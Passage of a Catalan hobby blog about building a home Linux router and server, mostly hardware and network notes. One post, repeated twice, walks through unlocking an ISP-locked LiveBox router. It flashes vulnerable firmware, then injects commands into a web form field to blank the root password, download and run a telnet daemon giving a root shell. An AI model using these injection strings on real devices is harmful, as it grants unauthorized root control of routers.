S'han d'explicar unes quantes coses.
Després d'aconseguir que el LiveBox funcionés en mode bridge ha plogut molt, però sobretot ha canviat molt la meva línia ADSL2+: Ara disposo d'una línia de 20 Mbps de baixada i 2'5 Mbps de pujada. Aquesta última xifra només es pot aconseguir amb un aparell que suporti l'annex M de l'ADSL2+, cosa que el LiveBox no fa.
Un segon factor és que quan vaig començar a muntar-ho tenia 6 Mbps de biaxada contractats, el que feia que els limitats 12 Mbps que proporciona el USB versió 1.1 disponible a la placa base de l'equip fossin suficients per a utilitzar un adaptador ethernet USB per afegir la interfície que em mancava (En el cas del LiveBox, quan el connectem per USB estem fent això mateix, utilitzar un adaptador integrat a l'equip USB a ethernet) però ara, amb 20 Mbps, encara que acabin quedant-se en menys per tractar-se d'un màxim teòric, i encara que el fet d'activar l'annex M també el redueixi una mica, l'USB es convertiria en un coll d'ampolla important. I encara un tercer motiu per replantejar algunes coses, el suport per xarxa sense fils a Linux fa aigües, però això mereix una entrada a part.
Simplificant els objectius:
Un dels objectius plantejats era aconseguir integrar una interfície sense fils i fer-la funcionar en mode punt d'accés, això implicava utilitzar una tarja PCI com ja he descrit en anteriors entrades, però també feia que ens quedéssim sense cap port PCI més disponible. Així que tenint en compte el parcial fracàs de la tarja sense fils (Ja he dit que faré una entrada a part parlant del tema), i les limitacions d'ample de banda de l'USB 1.1 al final he simplificat una mica el muntatge i he acabat substituint la tarja sense fils per una tarja PCI ethernet normal i corrent que tenia per allí: Una Intel 82540EM Gigabit ethernet, però qualsevol altre suportada pel nucli de Linux ens hauria valgut, no calia ni que fos a gigabit (Fast ethernet sí, evidentment, hem de superar els 20 Mbps teòrics de l'ADSL2+, si no estaríem on estàvem).
L'altra simplificació ha aparegut en forma de mòdem mono-lloc ethernet, compatible ADSL2+ i amb annex M. Me'l va canviar un company de la feina per l'antic LiveBox i ens hem solucionat problemes mútuament. Ell té un encaminador multi-lloc i jo tinc un mòdem que treu profit de la meva línia ADSL, és més, segons el que he mesurat, el mòdem nou m'ha millorat l'ample de banda 300 Kbps de pujada, fruit de les diferents toleràncies entre equips. Al ser un mòdem mono-lloc ve de sèrie preparat per poder funcionar en mode pont, i per tan no he hagut de fer cap modificació a l'equip ni res que si assembli, s'agraeix.
Resumint: Hem tret una de les interfícies que havíem de tindre en compte (La xarxa sense fils) i hem deixat el tema bastant més pelat i simple a nivell d'encaminador. I evidentment, tampoc descarto a aquestes alçades canviar cap component més!
dilluns, 23 de maig del 2011
dimarts, 2 de novembre del 2010
Bricolatge informàtic: Estalviant energia i espai.
Tot començà el dia que es va cremar el meu servidor. Si si, es va cremar la placa base amb una flamerada que va il·luminar tota l'habitació (era un P4 3GHz també conegut com "l'estufa") mentre escoltava música des del PC. Feia temps que li donava voltes al tema de reduir consum i soroll del servidor, ja que es passa tot el dia encès, però aquell fogonaç en va ser el detonant.
En un primer moment, i per sortir del pas, vaig decidir fer servir el PC com a servidor (un AMD X2 4600 amb una gràfica Gforce 8600GTS) així que vaig muntar els components del PC dins la caixa del servidor i un cop connectats els discos va arrencar a la primera (linux rules). Ara que tornava a tindre servidor me n'adono de que necessito un entorn gràfic i faig el sacrilegi d'instal·lar les X al servidor per a fer-lo servir de PC.
Acostumat a l'amigabilitat d'Ubuntu, treballar amb les X d'una Debian Squeeze no va ser gaire gratificant ("perdoneu, però algú ho havia de dir!"), el ventilador de la Gforce dia i nit generant contaminació acústica no ajudava a sentir-se còmode, i el consum eléctric superior al de l'antic PC (en gran part culpa de la gràfica) em van motivar a trobar una solució de baix consum sense haver d'incrementar l'espai ocupat: Muntatge dual servidor ATOM + PC tot en una caixa.
Acostumat a l'amigabilitat d'Ubuntu, treballar amb les X d'una Debian Squeeze no va ser gaire gratificant ("perdoneu, però algú ho havia de dir!"), el ventilador de la Gforce dia i nit generant contaminació acústica no ajudava a sentir-se còmode, i el consum eléctric superior al de l'antic PC (en gran part culpa de la gràfica) em van motivar a trobar una solució de baix consum sense haver d'incrementar l'espai ocupat: Muntatge dual servidor ATOM + PC tot en una caixa.
Components comuns:
-Caixa Antec P180
-xapa, escuma, cinta doble cara i tornilleria variada
Components PC:
-F.A. 500W modular
-AMD X2 4600+ amb Cooler Scythe Mine
-Nvidia Gforce 8600GTS + Cooler Accelero S1 rev2
-1 x HDD Seagate 1,5TB SATA
-DVDRW
-Lector de targetes USB intern
-2 x ventiladors Antec + 1 x ventilador Tacens Pro
Components Servidor:
-F.A. Enhance 250W SFF 80plus
-Gigabyte GA-D525TUD Mini-ITX
-2 x 2GB DDR3
-3 x HDD Seagate 1,5TB SATA
-1 x HDD WD Caviar Green 2TB SATA
-1 x ventilador Tacens Pro
Amb una xapa foradada repartim l'alimentació entre les dues fonts d'alimentació. El servidor amb placa Atom queda encaixonat a l'antic forat de la font d'alimentació.
Ara toca encabir el PC (i la seva font d'alimentació) a l'espai superior de la caixa. Aqui tenim la placa amb la torre de dissipació passiva. Cinta doble cara, una mica d'escuma per absorbir vibracions i uns separadors ens ajuden a fixar la font al seu lloc.

Es l'hora de connectar cables i provar que tot funciona.S'ha de dir que des de que vam fer aquest brico fins que he acabat l'entrada, he tingut uns mesos per provar-ho ;). Només dir que funciona perfecte amb la única pega del soroll que fa el ventilador de la CPU Atom que no trigaré en fer-lo desaparèixer. Això però serà un altre dia!
dimecres, 27 d’octubre del 2010
Complicant-me la vida: El mòdem ADSL 2+
Alliberant l'encaminador
Ja havia comentat que disposava d'un LiveBox 1.1 per a utilitzar amb la línia d'ADSL i així poder connectar l'encaminador a Internet. L'aparell en si ja és un encaminador complert, i amb prou paciència, portant com porta un Linux integrat per fer la feina, inclús podria fer moltes de les coses que vull fer directament amb ell, però la meva idea no és aquesta, crec que em mancaria potència (Processador) i sobretot, no em complicaria prou la vida!
El problema amb el LiveBox és que es proporciona capat, no es pot utilitzar per connectar amb altres proveïdors a part del que l'ha proporcionat i, encara que aconseguís que funcionés amb altres proveïdors, la funcionalitats que ens interessa és la funció de treball en mode pont.
Per tal d'activar aquestes funcionalitats extres (Quina mania que tenen alguns en controlar que fas i que no fas amb els equips que tens a casa teva!) cal aconseguir l'accés al mode comanda per telnet, i per fer-ho cal seguir unes instruccions que trobem a l'apartat de Livebox (DV4210) a la web de LSDios, més o menys. El procediment utilitza una vulnerabilitat al codi que executa la màquina per a afegir-hi un servei de telnet i així poder tindre control sobre les opcions disponibles.
Canviant el microprogramari
A l'enllaç que he posat s'explica prou bé el procediment, però utilitza Windows i posats a complicar-nos la vida, tornaré a explicar el procés i hi afegiré alguns canvis per no haver d'utilitzar Windows: Per obtenir accés per telnet cal primer que aconseguim una versió de microprogramari adient, se'ns diu la versió 5.03.2. És disponible a la plana de LSDios.
Per a poder transferir aquest fitxer a l'encaminador haurem d'instal·lar un dimoni de TFTP, però com que no volem trastejar massa amb el que tenim instal·lat a l'ordinador i és un procés que només s'ha de fer una vegada ho farem arrencant una Ubuntu LiveUSB (Jo ho faig amb una versió 10.10), així podem instal·lar el que faci falta i un cop reiniciat l'equip tot torna a estar com estava.
Un cop arrencada la sessió amb el LiveUSB obrim una consola de terminal i executem: sudo apt-get install tftpd-hpa
Si tot va bé acabarem amb un tftpd-hpa start/running, process ... (On els punts suspensius són el número d'identificació del procés). El que està fent ara mateix el programa és servir els arxius que tinguem a /var/lib/tftpboot/, si volem podem canviar la ruta a /etc/default/tftpd-hpa, el paràmetre a canviar és TFTP_DIRECTORY.
Ara necessitem crear l'estructura de directori que el client del LiveBox espera trobar en el nostre servidor de TFTP: sudo mkdir -p /var/lib/tftpboot/inventel/blue_5g
I ara ja podem copia l'arxiu del microprogramari que volem posar a l'encaminador dins d'aquest directori, canviant-ne el nom a factory_script_crypt: sudo cp firmware_v5.03.2-sp.dwb /var/lib/tftpboot/inventel/blue_5g/factory_script_crypt
Com que la transferència es fa per xarxa i per evitar que el Network-Manager ens canviï automàticament la configuració d'aquesta (Ens desconfigurarà totes les interfícies de xarxa, per tan, ens quedarem sense accés a Internet): sudo service network-manager stop
Caldrà donar la IP que espera el client TFTP de l'encaminador a la nostra tarja de xarxa amb fil (Dono per suposat que ara mateix no està en ús): sudo ifconfig eth0 10.7.58.114 netmask 255.0.0.0
Endollem el cable de xarxa ethernet entre l'ordinador i el port groc del LiveBox i, mantenint premut el botó 1 de l'encaminador, endollem la corrent d'aquest i ... Ja està, al cap d'uns moments hauríem de tindre el “nou” microprogramari.
Jo he volgut veure que la transferència es feia, ens ho podem saltar, i per això he utilitzat el tcpdump per a capturar els paquets de TFTP de la interfície de xarxa: sudo tcpdump -i eth0 -T tftp -l > captura.txt
La captura ens dona quelcom semblant a això:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15760 packets captured
15562 packets received by filter
9802 packets dropped by kernel
I dins del fitxer tenim això:
07:25:25.084010 ARP, Request who-has 10.7.58.112 tell 10.7.58.112, length 46
07:25:25.188755 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:25.188954 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:25.337037 ARP, Request who-has 10.7.58.112 tell 10.7.58.112, length 46
07:25:26.190007 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:26.190181 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:28.192110 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:28.192290 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:30.194101 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:30.194277 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:31.053844 ARP, Request who-has ubuntu.local tell 10.7.58.112, length 46
07:25:31.053901 ARP, Reply ubuntu.local is-at 00:1e:68:c9:85:d3 (oui Unknown), length 28
07:25:31.054700 IP 10.7.58.112.7700 > ubuntu.local.tftp: 46 RRQ "inventel/blue_5g/factory_script_crypt" OCTET
07:25:31.057542 IP ubuntu.local.37847 > 10.7.58.112.7700: 516 DATA block 1
07:25:31.058725 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 1
...
Es repeteixen aquestes dues últimes línies fins la sacietat, el que estem fent es transferir l'arxiu en blocs de 512 octets (Amb 4 octets de control) i arriba un punt on ja no queda més fitxer per transferir i tenim un bloc de només 56 octets, moment en que s'atura la transferència.
07:25:37.642440 IP ubuntu.local.37847 > 10.7.58.112.7700: 60 DATA block 7769
07:25:37.642717 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 7769
07:25:41.838165 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 7769
07:25:41.838220 IP ubuntu.local > 10.7.58.112: ICMP ubuntu.local udp port 37847 unreachable, length 40
Amb això ja tenim l'encaminador funcionant amb un codi vulnerable, on podrem utilitzar una tècnica d'injecció de codi per a fer que ens agafi del servei FTP que ens caldrà configurar ara, el dimoni de telnet que hi volem instal·lar, el utelnet. Com que utilitzo Linux, el més fàcil ha estat utilitzar un dimoni FTP, el vsftp.
Configuració del servei d'FTP
Tornem a posar en funcionament el servei de Network-Manager: sudo service network-manager start
Comprovem que tenim accés a Internet, tingueu en compte que l'encaminador torna a tindre els valors de fabrica, per tan és probable que intenti proporcionar-nos una IP, canviem el cable de xarxa o simplement el desendollem.
Instal·lem el servei de FTP: sudo apt-get install vsftpd
És un paquet sense dependències, per tan, no hi hauria d'haver problemes en instal·lar-lo. El dimoni d'FTP s'arrenca automàticament amb la configuració per defecte, això implica que podem accedir per FTP a la carpeta de l'usuari Ubuntu (Que és l'únic usuari existent en un LiveUSB i no té contrasenya). Necessitem una versió compilada del daemon utelnet, a la web de LSDios n'hi ha una, si no, haurem de compilar la nostra pròpia a partir del paquet que trobarem a la web oficial del projecte a sourceforge.net, només cal fer un .config i make.
Copiem el fitxer de l'utelnet a dins la carpeta de l'usuari, canviant-ne el nom a u per simplicitat.
A la configuració actual de l'encaminador tenim definit un DHCP, per tan, només endollar la xarxa entre l'equip i l'ordinador ens donarà una IP i podrem connectar-hi.
Accedim a l'adreça de la configuració web de l'aparell, amb la IP per defecte: http://192.168.1.1
Volem canviar la configuració avançada, accedim a l'enllaç i ens pregunta per l'usuari i la contrasenya, els dos són admin.
El que farem ara és utilitzar una tècnica d'injecció de codi per a poder executar unes comandes extra, en aquest cas, esborrar la contrasenya de l'usuari root i descarregar per FTP un arxiu anomenat u. Per fer-ho cal que deixem en blanc la casella Contraseña ADSL i a la casella Nombre de usuario ADSL escrivim: ;echo root::0:0:root:/root:/bin/sh >/etc/passwd ;cd /etc;wget ftp://ubuntu:@192.168.1.10/u ;chmod 777 /etc/u
Premem Enviar. Trigarà uns instants i ens tornarem a trobar a la pàgina on hem injectat el codi. Ara el que farem és executar el dimoni que hem copiat, altre cop deixant en blanc la casella de Contraseña ADSL i posant-ho a Nombre de usuario ADSL: ;/etc/u -p 23 -l /bin/sh -d
Fins ara tot el que hem fet ha estat per poder arribar a fer un telnet contra l'encaminador i guanyar així accés per línia de comandes com a root al sistema operatiu intern: telnet 192.168.1.1
“Desembridant l'embridamenta”
Ara que tenim accés per telnet el que hem d'aconseguir és el codi de “desembridatge”, que ens permetrà activar totes les funcions prèviament desactivades per l'ISP, entre elles utilitzar-lo per qualsevol proveïdor i el funcionament en mode pont. Escriurem a la línia de comandes del telnet: redboot_fconfig_get --parameter h235_key /dev/mtd4
Això ens retorna un codi que haurem de copiar al següent enllaç per obtenir el el codi de desembridatge: http://www.adslayuda.com/inventel_DV4210_WS_livebox-h235tounlock.html
La web original del h235tounlock ja no existeix (La que apareix a la web de LSDios), jo he tingut de buscar-la una mira per Internet, res que Google no pugui solucionar. També existeix el codi en C per a ser compilat.
No hauríem de perdre aquest codi, donat que utilitzant el mateix codi podem alliberar qualsevol versió de microprogramari, incloent-ne de més noves amb funcionalitats millorades/arreglades.
Amb el codi que hem obtingut de la web de h235tounlock, accedim a una web oculta de configuració de l'encaminador: http://192.168.1.1/brdgoff.html
Introduïm el codi obtingut anteriorment i premem Enviar.
Finalment podem confirmar que tenim l'encaminador completament alliberat i podrem procedir a configurar-lo com nosaltres vulguem.
No hauríem de perdre aquest codi, donat que utilitzant el mateix codi podem alliberar qualsevol versió de microprogramari, incloent-ne de més noves amb funcionalitats millorades/arreglades.
No deixa de sorprendrem que un procediment llarg com aquest sigui necessari per saltar-se una limitació imposada unilateralment per la companyia que ens proporciona, previ pagament, l'aparell. En qualsevol cas, complicant-me la vida i gracies a la gran comunitat de gent que corre per Internet, aquesta mena de coses es poden canviar, però no deixa de ser estúpid que et limitin l'ús d'un aparell que has pagat per a que només el puguis utilitzar amb ells, com si no es generés suficient escombraria electrònica sense necessitat de fer inútil forçosament un aparell.
No seria molt més senzill poder canviar de proveïdor d'accés sense haver de canviar l'encaminador? Segurament se'n beneficiarien els clients i els proveïdors, però ...
Material necessari
Un encaminador LiveBox 1.1 (DV4210).
El programari descrit.
Un cable de xarxa.
Un llapis de memòria USB amb una Ubuntu LiveUSB.
Un ordinador amb interfície de xarxa amb fil.
Paciència, moooolta paciència.
Ja havia comentat que disposava d'un LiveBox 1.1 per a utilitzar amb la línia d'ADSL i així poder connectar l'encaminador a Internet. L'aparell en si ja és un encaminador complert, i amb prou paciència, portant com porta un Linux integrat per fer la feina, inclús podria fer moltes de les coses que vull fer directament amb ell, però la meva idea no és aquesta, crec que em mancaria potència (Processador) i sobretot, no em complicaria prou la vida!
El problema amb el LiveBox és que es proporciona capat, no es pot utilitzar per connectar amb altres proveïdors a part del que l'ha proporcionat i, encara que aconseguís que funcionés amb altres proveïdors, la funcionalitats que ens interessa és la funció de treball en mode pont.
Per tal d'activar aquestes funcionalitats extres (Quina mania que tenen alguns en controlar que fas i que no fas amb els equips que tens a casa teva!) cal aconseguir l'accés al mode comanda per telnet, i per fer-ho cal seguir unes instruccions que trobem a l'apartat de Livebox (DV4210) a la web de LSDios, més o menys. El procediment utilitza una vulnerabilitat al codi que executa la màquina per a afegir-hi un servei de telnet i així poder tindre control sobre les opcions disponibles.
Canviant el microprogramari
A l'enllaç que he posat s'explica prou bé el procediment, però utilitza Windows i posats a complicar-nos la vida, tornaré a explicar el procés i hi afegiré alguns canvis per no haver d'utilitzar Windows: Per obtenir accés per telnet cal primer que aconseguim una versió de microprogramari adient, se'ns diu la versió 5.03.2. És disponible a la plana de LSDios.
Per a poder transferir aquest fitxer a l'encaminador haurem d'instal·lar un dimoni de TFTP, però com que no volem trastejar massa amb el que tenim instal·lat a l'ordinador i és un procés que només s'ha de fer una vegada ho farem arrencant una Ubuntu LiveUSB (Jo ho faig amb una versió 10.10), així podem instal·lar el que faci falta i un cop reiniciat l'equip tot torna a estar com estava.
Un cop arrencada la sessió amb el LiveUSB obrim una consola de terminal i executem: sudo apt-get install tftpd-hpa
Si tot va bé acabarem amb un tftpd-hpa start/running, process ... (On els punts suspensius són el número d'identificació del procés). El que està fent ara mateix el programa és servir els arxius que tinguem a /var/lib/tftpboot/, si volem podem canviar la ruta a /etc/default/tftpd-hpa, el paràmetre a canviar és TFTP_DIRECTORY.
Ara necessitem crear l'estructura de directori que el client del LiveBox espera trobar en el nostre servidor de TFTP: sudo mkdir -p /var/lib/tftpboot/inventel/blue_5g
I ara ja podem copia l'arxiu del microprogramari que volem posar a l'encaminador dins d'aquest directori, canviant-ne el nom a factory_script_crypt: sudo cp firmware_v5.03.2-sp.dwb /var/lib/tftpboot/inventel/blue_5g/factory_script_crypt
Com que la transferència es fa per xarxa i per evitar que el Network-Manager ens canviï automàticament la configuració d'aquesta (Ens desconfigurarà totes les interfícies de xarxa, per tan, ens quedarem sense accés a Internet): sudo service network-manager stop
Caldrà donar la IP que espera el client TFTP de l'encaminador a la nostra tarja de xarxa amb fil (Dono per suposat que ara mateix no està en ús): sudo ifconfig eth0 10.7.58.114 netmask 255.0.0.0
Endollem el cable de xarxa ethernet entre l'ordinador i el port groc del LiveBox i, mantenint premut el botó 1 de l'encaminador, endollem la corrent d'aquest i ... Ja està, al cap d'uns moments hauríem de tindre el “nou” microprogramari.
Jo he volgut veure que la transferència es feia, ens ho podem saltar, i per això he utilitzat el tcpdump per a capturar els paquets de TFTP de la interfície de xarxa: sudo tcpdump -i eth0 -T tftp -l > captura.txt
La captura ens dona quelcom semblant a això:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15760 packets captured
15562 packets received by filter
9802 packets dropped by kernel
I dins del fitxer tenim això:
07:25:25.084010 ARP, Request who-has 10.7.58.112 tell 10.7.58.112, length 46
07:25:25.188755 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:25.188954 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:25.337037 ARP, Request who-has 10.7.58.112 tell 10.7.58.112, length 46
07:25:26.190007 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:26.190181 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:28.192110 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:28.192290 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:30.194101 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:30.194277 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:31.053844 ARP, Request who-has ubuntu.local tell 10.7.58.112, length 46
07:25:31.053901 ARP, Reply ubuntu.local is-at 00:1e:68:c9:85:d3 (oui Unknown), length 28
07:25:31.054700 IP 10.7.58.112.7700 > ubuntu.local.tftp: 46 RRQ "inventel/blue_5g/factory_script_crypt" OCTET
07:25:31.057542 IP ubuntu.local.37847 > 10.7.58.112.7700: 516 DATA block 1
07:25:31.058725 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 1
...
Es repeteixen aquestes dues últimes línies fins la sacietat, el que estem fent es transferir l'arxiu en blocs de 512 octets (Amb 4 octets de control) i arriba un punt on ja no queda més fitxer per transferir i tenim un bloc de només 56 octets, moment en que s'atura la transferència.
07:25:37.642440 IP ubuntu.local.37847 > 10.7.58.112.7700: 60 DATA block 7769
07:25:37.642717 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 7769
07:25:41.838165 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 7769
07:25:41.838220 IP ubuntu.local > 10.7.58.112: ICMP ubuntu.local udp port 37847 unreachable, length 40
Amb això ja tenim l'encaminador funcionant amb un codi vulnerable, on podrem utilitzar una tècnica d'injecció de codi per a fer que ens agafi del servei FTP que ens caldrà configurar ara, el dimoni de telnet que hi volem instal·lar, el utelnet. Com que utilitzo Linux, el més fàcil ha estat utilitzar un dimoni FTP, el vsftp.
Configuració del servei d'FTP
Tornem a posar en funcionament el servei de Network-Manager: sudo service network-manager start
Comprovem que tenim accés a Internet, tingueu en compte que l'encaminador torna a tindre els valors de fabrica, per tan és probable que intenti proporcionar-nos una IP, canviem el cable de xarxa o simplement el desendollem.
Instal·lem el servei de FTP: sudo apt-get install vsftpd
És un paquet sense dependències, per tan, no hi hauria d'haver problemes en instal·lar-lo. El dimoni d'FTP s'arrenca automàticament amb la configuració per defecte, això implica que podem accedir per FTP a la carpeta de l'usuari Ubuntu (Que és l'únic usuari existent en un LiveUSB i no té contrasenya). Necessitem una versió compilada del daemon utelnet, a la web de LSDios n'hi ha una, si no, haurem de compilar la nostra pròpia a partir del paquet que trobarem a la web oficial del projecte a sourceforge.net, només cal fer un .config i make.
Copiem el fitxer de l'utelnet a dins la carpeta de l'usuari, canviant-ne el nom a u per simplicitat.
A la configuració actual de l'encaminador tenim definit un DHCP, per tan, només endollar la xarxa entre l'equip i l'ordinador ens donarà una IP i podrem connectar-hi.
Accedim a l'adreça de la configuració web de l'aparell, amb la IP per defecte: http://192.168.1.1
Volem canviar la configuració avançada, accedim a l'enllaç i ens pregunta per l'usuari i la contrasenya, els dos són admin.
El que farem ara és utilitzar una tècnica d'injecció de codi per a poder executar unes comandes extra, en aquest cas, esborrar la contrasenya de l'usuari root i descarregar per FTP un arxiu anomenat u. Per fer-ho cal que deixem en blanc la casella Contraseña ADSL i a la casella Nombre de usuario ADSL escrivim: ;echo root::0:0:root:/root:/bin/sh >/etc/passwd ;cd /etc;wget ftp://ubuntu:@192.168.1.10/u ;chmod 777 /etc/u
Premem Enviar. Trigarà uns instants i ens tornarem a trobar a la pàgina on hem injectat el codi. Ara el que farem és executar el dimoni que hem copiat, altre cop deixant en blanc la casella de Contraseña ADSL i posant-ho a Nombre de usuario ADSL: ;/etc/u -p 23 -l /bin/sh -d
Fins ara tot el que hem fet ha estat per poder arribar a fer un telnet contra l'encaminador i guanyar així accés per línia de comandes com a root al sistema operatiu intern: telnet 192.168.1.1
“Desembridant l'embridamenta”Ara que tenim accés per telnet el que hem d'aconseguir és el codi de “desembridatge”, que ens permetrà activar totes les funcions prèviament desactivades per l'ISP, entre elles utilitzar-lo per qualsevol proveïdor i el funcionament en mode pont. Escriurem a la línia de comandes del telnet: redboot_fconfig_get --parameter h235_key /dev/mtd4
Això ens retorna un codi que haurem de copiar al següent enllaç per obtenir el el codi de desembridatge: http://www.adslayuda.com/inventel_DV4210_WS_livebox-h235tounlock.html
La web original del h235tounlock ja no existeix (La que apareix a la web de LSDios), jo he tingut de buscar-la una mira per Internet, res que Google no pugui solucionar. També existeix el codi en C per a ser compilat.
No hauríem de perdre aquest codi, donat que utilitzant el mateix codi podem alliberar qualsevol versió de microprogramari, incloent-ne de més noves amb funcionalitats millorades/arreglades.
Amb el codi que hem obtingut de la web de h235tounlock, accedim a una web oculta de configuració de l'encaminador: http://192.168.1.1/brdgoff.html
Introduïm el codi obtingut anteriorment i premem Enviar.
Finalment podem confirmar que tenim l'encaminador completament alliberat i podrem procedir a configurar-lo com nosaltres vulguem.No hauríem de perdre aquest codi, donat que utilitzant el mateix codi podem alliberar qualsevol versió de microprogramari, incloent-ne de més noves amb funcionalitats millorades/arreglades.
No deixa de sorprendrem que un procediment llarg com aquest sigui necessari per saltar-se una limitació imposada unilateralment per la companyia que ens proporciona, previ pagament, l'aparell. En qualsevol cas, complicant-me la vida i gracies a la gran comunitat de gent que corre per Internet, aquesta mena de coses es poden canviar, però no deixa de ser estúpid que et limitin l'ús d'un aparell que has pagat per a que només el puguis utilitzar amb ells, com si no es generés suficient escombraria electrònica sense necessitat de fer inútil forçosament un aparell.
No seria molt més senzill poder canviar de proveïdor d'accés sense haver de canviar l'encaminador? Segurament se'n beneficiarien els clients i els proveïdors, però ...
Material necessari
Un encaminador LiveBox 1.1 (DV4210).
El programari descrit.
Un cable de xarxa.
Un llapis de memòria USB amb una Ubuntu LiveUSB.
Un ordinador amb interfície de xarxa amb fil.
Paciència, moooolta paciència.
divendres, 27 d’agost del 2010
Complicant-me la vida: Una tarja PCI per la xarxa sense fils
Encara no havia parlat d'un element que és gran part de la gracia de tot el muntatge, la tarja de xarxa sense fils. Perquè he escollit aquest model en concret, que espero poder fer amb ell i perquè estic força segur que acabaré fent coses que no espero ara mateix.
A veure, no ens enganyem, per molt que t'hi esforcis buscant característiques tècniques i models en concret acabes comprant el que trobes. Per tan, d'entre tot el que podia comprar, he escollit una tarja de xarxa sense fil PCI (Que utilitzo amb l'únic elevador PCI que em val, llegiu l'entrada anterior) de marca TP-Link que per les seves característiques em va semblar la millor.
Volia que fos una tarja sense fil ràpida i compatible, això implicava que complís amb l'estàndard IEEE 802.11n (el Wifi de tota la vida, 150 Mb/s), que fos PCI ja que és l'únic bus que tinc disponible (res de PCIe o USB), que suportés MIMO era un afegit a la velocitat de transmissió (300 Mb/s) i que ho fes utilitzant tres antenes més encara (En general implica millor cobertura), però sobretot necessitava que fos compatible amb Linux, concretament amb l'API de configuració de la nova pila de protocol que incorpora el nucli de Linux, cfg80211.
Resulta que aquest model concret de tarja sense fils (TP-Link TL-WN951N) integra un conjunt de xips del fabricant Atheros (TP-Link només és l'integrador, no dissenya els xips) que havia llegit que estava suportat en el nucli: Atheros AR5008-3NG (Dos xips: AR2133 pels 3 canals de radio a 2'4 GHz i AR5416 per al tractament digital).
Que aquest model aparegués com a ben suportat en el nucli em donava certes garanties de que qualsevol cosa que acabés implementada a la pila de protocol 802.11 del nucli, si no hi havia limitacions a nivell de maquinari, estarien completament suportades, i quan dic qualsevol vull dir que és força probable que els controladors que proporciona el propi fabricant no permetin fer la meitat de coses que permet i/o permetrà el nucli de Linux, perquè és independent el control del maquinari del que permet la pila de protocol. Un exemple: És una tarja de xarxa sense fils, està pensada per a que un cop instal·lada permeti connectar un ordinador a un punt d'accés de xarxa, doncs bé, jo la utilitzaré per a fer un d'aquests punts d'accés de xarxa, no un client.
En successives revisions del nucli de Linux han anat implementant noves funcionalitats a la pila de protocol 802.11, totes i cada una d'elles passen a ser utilitzables per l'equip que jo utilitzo, i no haig de confiar en que el fabricant del dispositiu actualitzi els controladors del seu producte (Més em valdria esperar-me assegut). És una de les "avantatges" de complicar-me la vida.
A veure, no ens enganyem, per molt que t'hi esforcis buscant característiques tècniques i models en concret acabes comprant el que trobes. Per tan, d'entre tot el que podia comprar, he escollit una tarja de xarxa sense fil PCI (Que utilitzo amb l'únic elevador PCI que em val, llegiu l'entrada anterior) de marca TP-Link que per les seves característiques em va semblar la millor.
Volia que fos una tarja sense fil ràpida i compatible, això implicava que complís amb l'estàndard IEEE 802.11n (el Wifi de tota la vida, 150 Mb/s), que fos PCI ja que és l'únic bus que tinc disponible (res de PCIe o USB), que suportés MIMO era un afegit a la velocitat de transmissió (300 Mb/s) i que ho fes utilitzant tres antenes més encara (En general implica millor cobertura), però sobretot necessitava que fos compatible amb Linux, concretament amb l'API de configuració de la nova pila de protocol que incorpora el nucli de Linux, cfg80211.
Resulta que aquest model concret de tarja sense fils (TP-Link TL-WN951N) integra un conjunt de xips del fabricant Atheros (TP-Link només és l'integrador, no dissenya els xips) que havia llegit que estava suportat en el nucli: Atheros AR5008-3NG (Dos xips: AR2133 pels 3 canals de radio a 2'4 GHz i AR5416 per al tractament digital).
En successives revisions del nucli de Linux han anat implementant noves funcionalitats a la pila de protocol 802.11, totes i cada una d'elles passen a ser utilitzables per l'equip que jo utilitzo, i no haig de confiar en que el fabricant del dispositiu actualitzi els controladors del seu producte (Més em valdria esperar-me assegut). És una de les "avantatges" de complicar-me la vida.
divendres, 6 d’agost del 2010
Complicant-me la vida: Maquinari muntat
Els que sigueu una mica observadors ja haureu vist que les fotos que tinc ja porten tot el muntatge completat. A nivell de maquinari ja tinc tots els components com els volia (Partint del que tinc, clar, sempre es podria millorar).
A la foto es veu com queda tot el muntatge intern, la unitat òptica no s'hi pot muntar, la tarja PCI ho evita, no hi caben tots dos. Comentar que hi vaig haver d'afegir un altaveu per la placa base, que no en porta, així sento els "bips" de la placa base, i amb això i la tapa posada tot queda com a la foto que hi ha a la primera entrada del projecte.
A la foto es veu com queda tot el muntatge intern, la unitat òptica no s'hi pot muntar, la tarja PCI ho evita, no hi caben tots dos. Comentar que hi vaig haver d'afegir un altaveu per la placa base, que no en porta, així sento els "bips" de la placa base, i amb això i la tapa posada tot queda com a la foto que hi ha a la primera entrada del projecte.
dijous, 5 d’agost del 2010
Complicant-me la vida: Aprenent les coses massa tard
Quan una cosa no la se i me la pregunten dic que no la se. Quan una cosa no se que no la se, no puc actuar-hi en conseqüència.
